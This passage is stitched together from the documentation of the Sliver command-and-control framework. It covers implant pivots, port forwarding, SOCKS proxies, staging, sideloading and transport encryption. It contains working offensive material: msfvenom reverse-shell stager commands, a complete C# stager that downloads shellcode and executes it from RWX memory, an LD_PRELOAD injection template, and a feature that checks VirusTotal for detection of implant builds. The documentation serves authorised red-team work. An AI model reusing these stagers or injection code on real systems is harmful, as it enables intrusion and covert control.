1 TCP :9898 0We can now use generate --tcp-pivot 192.168.1.1:9898 to generate an implant that will connect to the pivot listener, where 192.168.1.1 is the local IP of the server on which we started the listener.
Named Pipe Pivots (SMB)
Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the --bind flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a name, remote clients are always allowed to connect to the pipe, but the default ACL will only allow the current user/group. You can allow all user/groups by using the --allow-all flag:
[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST
[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30
[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30)
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1Next we generate a named pipe implant using generate --named-pipe 192.168.1.1/pipe/foobar. Note that we may need to specify the IP address of the listener: 192.168.1.1. The syntax is <host>/pipe/, note that . is equivalent to 127.0.0.1. This is just the standard syntax for Windows named pipes.
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST
[server] sliver (WARM_DRIVEWAY) > sessions
ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health
========== =============== =========== ====================================== ================= =============================== ================== =============================== =========
13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290->WARM_DRIVEWAY-> WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]โ ๏ธ IMPORTANT: In some environments you may need to use the --allow-all flag when starting the pivot listener to allow all users/groups.
Sliver Docs Pages Docs Md Port Forwarding (`docs/sliver-docs/pages/docs/md/Port Forwarding.md`)
Sliver provides two mechanisms for port forwarding to tunnel additional connections / tools into the target environment via an implant:
portfwd- This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.)wg-portfwd- This command uses WireGuard port forwarding, and is only available when using WireGuard C2.
NOTE: Generally speaking wg-portfwd is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via portfwd. However, wg-portfwd does require a little extra setup (see below).
In-Band Tunneled Port Forwarding
Tunneled port forwarding can be done over any C2 transport, and should work out of the box. Interact with the session you'd like to port forward through and use the portfwd add command:
sliver (STUCK_ARTICLE) > portfwd add --remote 10.10.10.10:22
[*] Port forwarding 127.0.0.1:8080 -> 10.10.10.10:22By default all port forwards will be bound to the 127.0.0.1 interface, but you can override this using the --bind flag. Port forwarding also works in multiplayer mode and will forward ports to your local system.
Reverse Port Forwarding
Sliver also supports reverse port forwarding via the rportfwd command.
WireGuard Port Forwarding
In order to use wg-portfwd you'll need a WireGuard client, any client should work. However, we recommend using wg-quick, which is included in the wireguard-tools package available on most platforms (see WireGuard for more platforms):
- MacOS
brew install wireguard-tools - Ubuntu/Kali
sudo apt install wireguard-tools
First generate a WireGuard C2 implant (using generate --wg), and then start a WireGuard listener:
sliver > wg
[*] Starting Wireguard listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 wg udp 53Next, using Sliver you can create a WireGuard client configuration using the wg-config command (you can use --save to write the configuration directly to a file):
sliver > wg-config
[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420
[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>The only thing in the configuration file you'll need to change is the Endpoint setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as --lhost when generating the binary.
Make sure your WireGuard listener is running and connect using the client configuration:
$ wg-quick up wireguard.confNow that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
== ==== ========= ============== ======== ======== ================ ============= ======
1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]Interact with the session, and use wg-portfwd add to create port forwards:
sliver (STUCK_ARTICLE) > wg-portfwd add --remote 10.10.10.10:3389
[*] Port forwarding 100.64.0.17:1080 -> 10.10.10.10:3389You can now connect to 100.64.0.17:1080 via your WireGuard interface and the connection will come out at 10.10.10.10:3389!
Sliver Docs Pages Docs Md Private Armories (`docs/sliver-docs/pages/docs/md/Private Armories.md`)
Private Armory is a standalone service for hosting your own Sliver aliases, extensions, and bundles. Each Sliver client connects to it independently; installed packages are still local to that client, as described in Armory.
The upstream wiki sometimes calls the project external-armory. The current repository is private-armory, and its executable is armory-server.
Hosting
The service can run as a standalone executable or in a container. Follow the upstream Setup or Docker guide for deployment details.
- Configuration is stored in
<armory-root>/config.json; restart the service after editing it. - The supplied Compose configuration publishes port
8888and persists./armory-dataat/data/armory-data. - Review TLS and authentication settings before deployment. The supplied
armory.envdisables TLS; HTTPS requires a certificate and private key. Verify the effective authentication settings for the version you deploy rather than assuming the example enables access control. - Initial setup displays client connection information and a separate administration token. Give clients the client token, never the administration token or a signing private key.
See Environment Variables for configuration options. Older wiki JSON examples may differ from the current service configuration.
Storage and Signing
The storage providers support a writable local filesystem or an S3 general-purpose bucket. Preserve the configured storage across restarts and container replacements.
Package and index signatures use Minisign. The signing key providers are:
| Provider | Key location |
|---|---|
local |
A private key file in the armory root. |
aws |
AWS Secrets Manager. |
vault |
HashiCorp Vault. |
external |
A separate signing process; the serving application holds the public key. |
With external, signing happens outside the service and package administration through its API is disabled. See Standalone Signing and Package Administration for the respective workflows.
Obtain the Minisign public key through a trusted channel. It establishes trust in the index and package signing metadata; it is separate from the TLS certificate. A valid signature does not establish that a package is safe to use.
Client Configuration
Obtain the index URL, Minisign public key, and client authorization token from your armory administrator. The service's index URL ends in /armory/index; use the configured hostname, port, and HTTPS endpoint.
sliver > armory add private --url https://armory.example.com:8888/armory/index --pubkey <MINISIGN_PUBLIC_KEY> --auth <CLIENT_TOKEN>
sliver > armory infoReplace the placeholders with your armory's values. --auth supplies the complete Authorization header value; Sliver does not add a Bearer prefix. Adding a source validates its index before saving it.
Configuration is saved to ~/.sliver-client/armories.json by default, or under SLIVER_CLIENT_ROOT_DIR when set. Authorization values are stored in plaintext, and detailed armory info <name> output can display them; protect the file and redact credentials before sharing output.
Managing Sources
| Command | Effect |
|---|---|
armory info |
List configured sources. |
armory refresh |
Reload saved source configuration and refresh cached metadata. |
armory disable private / armory enable private |
Disable or enable the private source. |
armory rm private |
Remove its source registration. |
armory save |
Save the current source configuration. |
Add and modify operations save by default. Changes made with --no-save are temporary and are lost on refresh or restart unless saved first. Disabling or removing a source does not uninstall packages already installed from it.
Sliver Docs Pages Docs Md Reverse SOCKS (`docs/sliver-docs/pages/docs/md/Reverse SOCKS.md`)
Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels through any C2 protocol, and a WireGuard SOCKS proxy (only available when using WireGuard C2).
In-band SOCKS5
An in-band reverse SOCKS5 proxy can only be used on sessions (i.e., interactive sessions) and not beacons.
sliver (UGLY_SCARIFICATION) > socks5 add
[*] Started SOCKS5 127.0.0.1 1081
โ ๏ธ In-band SOCKS proxies can be a little unstable depending on protocolSimply upstream to 127.0.0.1:1081 from here, see socks5 add --help for more options.
WireGuard SOCKS5
In order to use wg-socks you'll need a WireGuard client, any client should work. However, we recommend using wg-quick, which is included in the wireguard-tools package available on most platforms (see WireGuard for more platforms):
- MacOS
brew install wireguard-tools - Ubuntu/Kali
sudo apt install wireguard-tools
First generate a WireGuard C2 implant (using generate --wg), and then start a WireGuard listener:
sliver > wg
[*] Starting Wireguard listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 wg udp 53Next, using Sliver you can create WireGuard client configuration using the wg-config command (you can use --save to write the configuration directly to a file):
sliver > wg-config
[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420
[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>The only thing in the configuration file you'll need to change is the Endpoint setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as --lhost when generating the binary.
Make sure your WireGuard listener is running and connect using the client configuration:
$ wg-quick up wireguard.confNow that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
== ==== ========= ============== ======== ======== ================ ============= ======
1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]Interact with the session, and use wg-socks to create a SOCKS proxy!
Sliver Docs Pages Docs Md Stagers (`docs/sliver-docs/pages/docs/md/Stagers.md`)
โ ๏ธ Important: Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
Overview
As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system.
Sliver supports the meterpreter staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:
- read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
- download the stage 2
- allocate the size read in the first step, and write the stage in memory
For this to work, we need the following pieces:
- a staging server (the Sliver server)
- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
- stagers (generated by
msfvenomor built by hand, see Custom Stagers below)
Example
Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the profiles new command.
The following command creates a new profile that we will use for our staging listener:
sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode
[*] Saved new profile win-shellcode
sliver > profiles
Name Platform Command & Control Debug Format Obfuscation Limitations
==== ======== ================= ===== ====== =========== ===========
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabledShellcode generation varies by platform:
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support
--shellcode-compress; other--shellcode-*options are Windows-only.
Shellcode options:
--shellcode-encoder: apply an optional shellcode encoder (see:shellcode-encoders)--shellcode-compress: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)--shellcode-entropy: 1=none, 2=random names, 3=random+encrypt (Windows only)--shellcode-exitopt: 1=exit thread, 2=exit process, 3=block (Windows only)--shellcode-bypass: 1=none, 2=abort on failure, 3=continue (Windows only)--shellcode-headers: 1=overwrite, 2=keep (Windows only)--shellcode-thread: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)--shellcode-unicode: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)--shellcode-oep: override original entry point (uint32, 0=default) (Windows only)
Example:
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcodeLinux example (compression only):
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcodeWe can now create a staging listener and link it to the profile:
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode
[*] No builds found for profile win-shellcode, generating a new one
[*] Job 1 (tcp) started
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 http tcp 1234
2 mtls tcp 8888Metasploit: Bring Your Own Stager
Using Metasploit stagers is only supported on Windows.
Note: The Sliver
generate stagercommand has been removed and will no longer
work. Generate stagers using Metasploit'smsfvenom(or write your own custom
stager, see Custom Stagers below).
Generating an HTTP(S) stager
If you want to use stagers generated by the Metasploit Framework with Sliver (using msfconsole or msfvenom), you will need to pass the additional --prepend-size flag to stage-listener, like this:
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-sizeThis will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's custom payloads.
Sliver staging listeners only accept tcp://, http:// and https:// schemes for the --url flag. The format for this flag is scheme://IP:PORT. If no value is specified for PORT, an error will be thrown out.
Either msfconsole or msfvenom can be used directly to generate stager shellcodes or binaries with the custom payload type:
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.binRemark: At the moment, the custom/reverse_http payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the custom/reverse_winhttp payload instead.
Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the msfvenom flag --list-options with a payload type or show advanced in msfconsole.
Generating a TCP stager
Use the stage-listener command to set up a listener that will send the binary to the stager:
silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-sizeNotice that we are using the tcp:// scheme because this is a TCP stager. The --prepend-size option is still necessary because we will be using Metasploit.
As above, either msfconsole or msfvenom can be used directly to generate stager shellcodes or binaries with the custom payload type. Here is an example using msfvenom:
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.binCustom Stagers
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same procedural HTTP protocol.
The default file extension used to retrieve a stage 2 payload is .woff. It can be configured in the HTTP C2 options using the stager_file_ext setting.
As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: http://SLIVER-SERVER:STAGING-PORT/whatever.woff.
Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. /platform:x64:
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace SliverStager
{
public class Stager
{
private static string url = "http://a.bc/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static void Main(String[] args)
{
DownloadAndExecute();
}
}
}Encrypted Stage Example
Sliver supports encryption and compression when serving stages. Compression options are zlib, gzip, and deflate (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode.
stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShVIf aes-encrypt-iv is not set it defaults to 0000000000000000. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression:
/* Detailed source-code truncated for AI context efficiency. */Sliver Docs Pages Docs Md Themes (`docs/sliver-docs/pages/docs/md/Themes.md`)
Console Themes
Sliverโs interactive consoles (both sliver-client and the server-only console) use a theme file to drive all lipgloss styling.
- Theme path:
~/.sliver-client/theme.yaml - Settings path:
~/.sliver-client/tui-settings.yaml
If theme.yaml is missing, Sliver will create it with the default palette.
Palette Structure
theme.yaml defines six palettes:
primarysecondarydefaultsuccesswarningdanger
Each palette has a base default color and a set of modifier colors (50..900):
primary:
default: "#006FEE"
mods:
50: "#001731"
100: "#002e62"
200: "#004493"
300: "#005bc4"
400: "#006FEE"
500: "#338ef7"
600: "#66aaf9"
700: "#99c7fb"
800: "#cce3fd"
900: "#e6f1fe"Prompt Settings
The console prompt is configurable via tui-settings.yaml:
prompt: "host"
prompt_template: |
{{- if .IsServer -}}
{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- else -}}
{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- end -}}`prompt` Modes
operator-hostsliver-client:[operator@host] sliver >- server console:
[server] sliver >
hostsliver-client:[host] sliver >- server console:
[server] sliver >
basic- both:
sliver >
- both:
custom- the entire prompt text is rendered from
prompt_template(Gotext/template) - if rendering fails, Sliver falls back to a minimal prompt:
>
- the entire prompt text is rendered from
Custom Prompt Templates
When prompt: custom, Sliver evaluates prompt_template as a Go text/template every time the prompt is displayed.
Template Variables
Top-level values:
.IsServer(bool).Connected(bool).Operator(string).Host(string).Port(int).HostPort(string,host:portwhen available).Now(time)
Active target:
.Target.SessionName(string).Target.BeaconName(string).Target.Suffix(string)- pre-rendered themed suffix matching the default prompt, like
(my-session)when a session or beacon is selected
- pre-rendered themed suffix matching the default prompt, like
Theme colors:
.Colors.Primary.Default.Colors.Primary.Mods(map; useindex, e.g.index .Colors.Primary.Mods 500)- same structure for
.Colors.Secondary,.Colors.Default,.Colors.Success,.Colors.Warning,.Colors.Danger
Theme styles (lipgloss styles already wired to theme.yaml):
.Styles.Bold,.Styles.Underline.Styles.Primary,.Styles.Secondary,.Styles.Default,.Styles.Success,.Styles.Warning,.Styles.Danger.Styles.BoldPrimary,.Styles.BoldSecondary,.Styles.BoldDefault,.Styles.BoldSuccess,.Styles.BoldWarning,.Styles.BoldDanger- legacy names:
.Styles.Red,.Styles.Green,.Styles.Orange,.Styles.Blue,.Styles.Purple,.Styles.Cyan,.Styles.Gray,.Styles.Black
Examples
Show user and host (client), show server tag (server console):
{{- if .IsServer -}}
{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- else -}}
{{- if and .Operator .Host -}}
{{ .Styles.BoldPrimary.Render (printf "[%s@%s]" .Operator .Host) }}
{{- else if .Host -}}
{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }}
{{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- end -}}Basic prompt everywhere:
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >Use a lighter primary modifier for the host tag:
{{- $c := index .Colors.Primary.Mods 500 -}}
{{- if .Host -}}{{ (.Styles.Bold.Foreground $c).Render (printf "[%s]" .Host) }} {{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >Sliver Docs Pages Docs Md Third Party Tools (`docs/sliver-docs/pages/docs/md/Third Party Tools.md`)
Sideloading Features
Sliver implants support three different ways of loading third party tools:
execute-assemblysideloadspawndll
Known Limitations
Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the --in-process flag, or a custom BOF extension like inline-execute-assembly. There is currently no workaround for non-reflective PE extension.
Loading .NET Assemblies
This feature is only supported on Windows.
Using execute-assembly, one can run an arbitrary .NET assembly on a remote system via a Sliver implant. The implant will start a sacrificial process (notepad.exe by default, you can change this by using the --process) that will host a reflective DLL used to load the .NET CLR. The assembly will then be copied into this process and a new thread will start on the reflective DLL entrypoint, which will load and run the assembly in memory.
Here's an example with Seatbelt:
/* Detailed source-code truncated for AI context efficiency. */Shared Library Side Loading
The sideload command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via sRDI and injected into a sacrificial process.
On Linux systems, Sliver uses the LD_PRELOAD technique to preload a shared library previously written in a memory file descriptor using the memfd_create syscall. That way, no file is stored on disk, which grants the implant a bit of stealth. The shared library is preloaded in a sacrificial process, which is /bin/ls by default.
On MacOS systems, Sliver uses the DYLD_INSERT_LIBRARIES environment variable to preload a dynamic library into a program, chosen by the operator. The target program must allow unsigned libraries to be loaded that way.
No specific operation is performed by Sliver for Linux and Mac OS shared libraries, which means it's up to the operator to build their shared libraries to execute whenever they see fit. A good starting point would be using the constructor attribute for MacOS shared libraries, or adding a .init_array section for the Linux version.
Sliver will use the LD_PARAMS environment variable to pass arguments to the sideloaded libraries. Thus, the library can just read this environment variable to retrieve parameters and act accordingly.
Here's a starting point :
#if __linux__
#include <stdlib.h>
void DoStuff();
static void init(int argc, char **argv, char **envp)
{
// unset LD_PRELOAD to prevent sub processes from misbehaving
unsetenv("LD_PRELOAD");
// retrieve the LD_PARAMS value
// unset LD_PARAMS if there's no need for it anymore
unsetenv("LD_PARAMS");
DoStuff();
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
void DoStuff();
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
// unset DYLD_INSERT_LIBRARIES to prevent sub processes from misbehaving
unsetenv("DYLD_INSERT_LIBRARIES");
// retrieve the LD_PARAMS value
// unset LD_PARAMS if there's no need for it anymore
unsetenv("LD_PARAMS");
DoStuff();
}
#endifDon't forget to unset the LD_PRELOAD or DYLD_INSERT_LIBRARIES environment variables, otherwise any sub process started by your shared library or host process will be preloaded with your shared library.
To side load a shared library, use the sideload command like this:
// Windows example
sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/chrome-dump.dll
// Linux example
sliver (CONCRETE_STEEL) > sideload -p /bin/bash -a "My arguments" /tmp/mylib.so
// MacOS example
sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylibPlease be aware that you need to specify the entrypoint to execute for Windows DLLs.
Loading Reflective DLLs
Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the spawndll command allows you to inject reflective DLLs and run them in a remote process.
Here's an example with the PsC tool from Outflank's Ps-Tools suite:
sliver (CONCRETE_STEEL) > spawndll /tmp/Outflank-PsC.dll blah
[*] Output:
--------------------------------------------------------------------
[+] ProcessName: svchost.exe
ProcessID: 2960
PPID: 576 (services.exe)
CreateTime: 19/05/2020 10:53
Path: C:\Windows\System32\svchost.exe
ImageType: 64-bit
CompanyName: Microsoft Corporation
Description: Host Process for Windows Services
Version: 10.0.18362.1
<-> Session: TCP
State: ESTABLISHED
Local Addr: 172.16.241.128:49819
Remote Addr: 40.67.251.132:443
--------------------------------------------------------------------
[+] ProcessName: CONCRETE_STEEL.exe
ProcessID: 7400
PPID: 5440 (explorer.exe)
CreateTime: 19/05/2020 10:54
SessionID: 1
Path: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
ImageType: 64-bit
UserName: DESKTOP-0QQJ4JL\lab
Integrity: Medium
PEB Address: 0x0000000000352000
ImagePath: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
CommandLine: "C:\Users\lab\Desktop\CONCRETE_STEEL.exe"
<-> Session: TCP
State: ESTABLISHED
Local Addr: 172.16.241.128:49687
Remote Addr: 172.16.241.1:8888Note that in this case, the entrypoint of the reflective DLL (ReflectiveLoader) expects a non NULL parameter, which is why we passed a dummy parameter blah.
Sliver Docs Pages Docs Md Traffic Encoders (`docs/sliver-docs/pages/docs/md/Traffic Encoders.md`)
Sliver v1.6 supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are Wasm-based callback functions that encode/decode network traffic between the implant and the server. Traffic Encoders can be written in any language that compiles to Wasm. Traffic Encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.
Examples are provided in this repository of a Rust-based and a TinyGo-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.
For performance reasons, by default C2 messages over 2 MB in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.
Traffic Encoder Specification
Exports
Traffic encoders are implemented in Wasm, and must export the following functions:
decode(ptr, size uint32) (ptrSize uint64)
encode(ptr, size uint32) (ptrSize uint64)
malloc(size uint32) uint64
free(ptr uint32, size uint32)The encode function takes a uint32 pointer to a buffer and the uint32 size of the buffer, and returns a uint64 value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
The decode function takes a uint32 pointer to a buffer and the uint32 size of the buffer, and returns a uint64 value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
The malloc function takes a uint64 size. The function should allocate a buffer of the given size in bytes, and return a pointer to.
The free function takes a pointer to memory which should be freed and a size.
For example, a return value in Go may look like:
return (uint64(ptr) << uint64(32)) | uint64(size)Where ptr is a pointer to the buffer and size is the size of the buffer.
Imports
Optionally, the following imports may be used:
log(ptr uint32, size uint32)
rand() uint64
time() int64The log function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. The server will also log the contents if configured to log at the DEBUG level or higher.
The rand() function returns 64-bits of cryptographically secure random data.
The time() function returns the current Unix Nano time as an int64.
Sliver Docs Pages Docs Md Transport Encryption (`docs/sliver-docs/pages/docs/md/Transport Encryption.md`)
โ ๏ธ NOTE: This document does not apply when mTLS or WireGuard are used.
Sliver v1.6.x
The following keys are embedded in each implant at compile time; the server also stores these values in its database, along with the SHA2-256 hash of the implant's peer public key:
- Age public key of server
- Age implant "peer" public key
- Age implant "peer" private key
- A minisign signature of the implant's age peer public key (signed by server's private key)
- The server's minisign public key
Server to Implant Key Exchange
- Implant generates random 256-bit symmetric "session key"
- Implant generates:
- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key
- Uses Age to encrypt the session key and HMAC-SHA256 with the server's public key
- Implant sends
[SHA2-256 Hash of Public Key | Age Ciphertext ]to server. - Server decrypts message with its private key
- Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
- All messages are encrypted with the session key using ChaCha20Poly1305 and associated with the session ID
- Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
Implant to Implant Key Exchange (Pivots)
- An implant starts a pivot listener (the listener)
- Another implant connects to the listener (the initiator)
- The initiator sends its Age public key and the minisign signature of its public key
- The listener verifies the initiator's public key is signed by the listener's server's minisign public key
- The listener generates a random session key and encrypts it with the initiator's verified public key
- The listener sends its Age public key, the minisign signature of its public key, and the encrypted session key back to the initiator
- The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
- The initiator decrypts the session key using Age
- All messages are encrypted with the session key using ChaCha20Poly1305
- Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
- The initiator then performs a key exchange with the server using the server's embedded Age public key and the same pattern described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
Known Limitations
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
- Perfect Forward Secrecy: We do get some forward secrecy, since only the public-key-encrypted version of the session key is sent over the wire; therefore, recovery of the hard-coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
- Implants can potentially be tracked via the hash of their public key. However, this value is implant-specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
- While messages cannot be replayed, valid messages can potentially be re-ordered.
Sliver Docs Pages Docs Md Troubleshooting (`docs/sliver-docs/pages/docs/md/Troubleshooting.md`)
Server logs
Server related logs are saved to: ~/.sliver/logs/
sliver.logis the main log file for server related eventsconsole.logis the log of the server's built-in "client" consolesliver.jsonJSON formatted log (includes timestamps)audit.jsona JSON formatted history of commands/activity
The default log level for the server is INFO when troubleshooting it may be helpful to increase this to DEBUG (5), which can be done by editing the server configuration file
Client logs
~/.sliver-client/sliver-client.log
Implant Troubleshooting
If you need to trouble shoot an issue (connectivity, etc) with an implant try generating it with the --debug flag.
Sliver Docs Pages Docs Md Watchtower (`docs/sliver-docs/pages/docs/md/Watchtower.md`)
The Sliver server has a built-in capability to periodically monitor VirusTotal and IBM X-Force for implant hashes to determine whether implant builds have been uploaded to such platform.
To set it up, update your $HOME/.sliver/configs/server.json and set the following values in the watchtower object:
{
"watch_tower": {
"vt_api_key": "YOUR_VIRUSTTOTAL_API_KEY",
"xforce_api_key": "YOUR_XFORCE_API_KEY",
"xforce_api_password": "YOUR_XFORCE_API_PASSWORD"
}
}Once that is done, restart the Sliver server. You can now use the monitor start and monitor stop commands to start and stop periodic monitoring of your implant builds on VirusTotal and IBM X-Force.
The server is configured to stay below the limits of requests for the free tier component for each providers. This means 4 requests per minute / 500 requests per day for VirusTotal, and 6 requests per hour for X-Force. More details on the implementation can be found here.
Sliver Docs Pages Docs Md Wireguard C2 (`docs/sliver-docs/pages/docs/md/Wireguard C2.md`)
This page documents the current implant C2 WireGuard transport implementation used between server/ and implant/ code paths.
